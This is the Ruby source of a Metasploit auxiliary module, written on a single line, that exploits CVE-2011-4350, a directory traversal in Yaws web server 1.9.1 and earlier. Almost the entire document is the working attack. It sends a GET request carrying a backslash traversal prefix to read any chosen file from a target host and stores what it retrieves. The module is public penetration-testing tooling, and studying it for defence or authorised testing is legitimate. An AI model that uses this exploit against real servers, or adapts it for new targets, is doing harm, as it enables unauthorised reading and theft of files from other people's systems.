Yaws Web Server Directory Traversal

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Auxiliary::Scanner  include Msf::Auxiliary::Report  include Msf::Exploit::Remote::HttpClient  def initialize(info={})    super(update_info(info,      'Name'           => "Yaws Web Server Directory Traversal",      'Description'    => %q{          This module exploits a directory traversal bug in Yaws v1.9.1 or less.        The module can only be used to retrieve files. However, code execution might        be possible. Because when the malicious user sends a PUT request, a file is        actually created, except no content is written.      },      'License'        => MSF_LICENSE,      'Author'         =>        [          'sinn3r', # Metasploit module        ],      'References'     =>        [          ['CVE', '2011-4350'],          ['OSVDB', '77581'],          ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=757181']        ],      'DisclosureDate' => '2011-11-25'    ))    register_options(      [        Opt::RPORT(8080),        OptString.new('FILEPATH', [false, 'The name of the file to download', 'windows\\win.ini'])      ])  end  def run_host(ip)    # No point to continue if no filename is specified    if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?      print_error("Please supply the name of the file you want to download")      return    end    # Create request    traversal = "..\\..\\..\\..\\"    res = send_request_raw({      'method' => 'GET',      'uri'    => "/#{traversal}/#{datastore['FILEPATH']}"    }, 25)    # Show data if needed    if res and res.code == 200      vprint_line(res.to_s)      fname = File.basename(datastore['FILEPATH'])      path = store_loot(        'yaws.http',        'application/octet-stream',        ip,        res.body,        fname      )      print_status("File saved in: #{path}")    else      print_error("Nothing was downloaded")    end  endend